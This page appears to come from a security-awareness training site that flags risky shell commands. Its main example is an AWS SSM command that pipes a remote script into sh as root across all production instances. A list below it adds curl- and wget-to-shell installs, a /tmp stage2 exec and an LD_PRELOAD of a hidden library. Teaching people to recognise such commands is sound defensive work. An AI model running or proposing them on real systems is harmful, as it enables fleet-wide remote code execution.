Dangerous: aws ssm send-command --targets Key=tag:Environment,Values=production --document-name AWS-RunShellScript --parameters 'commands=["curl -s https://tools.example.net/agent.sh

Dangerous

aws ssm send-command --targets Key=tag:Environment,Values=production --document-name AWS-RunShellScript --parameters 'commands=["curl -s https://tools.example.net/agent.sh | sh"]'

cross-platform · bash · Expert

Runs a downloaded shell script as root on every instance tagged production, in one API call. Systems Manager is the legitimate way to do…

The full explanation and danger signals for this pack are part of Pro.

Think you can spot these under time pressure?

Start Training

More Process Execution

ps auxIntermediate
curl -fsSL https://example.com/install.sh | bashIntermediate
wget -qO- https://example.com/setup | shAdvanced
python3 -c "exec(open('/tmp/stage2.py').read())"Advanced
export LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvanced
curl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert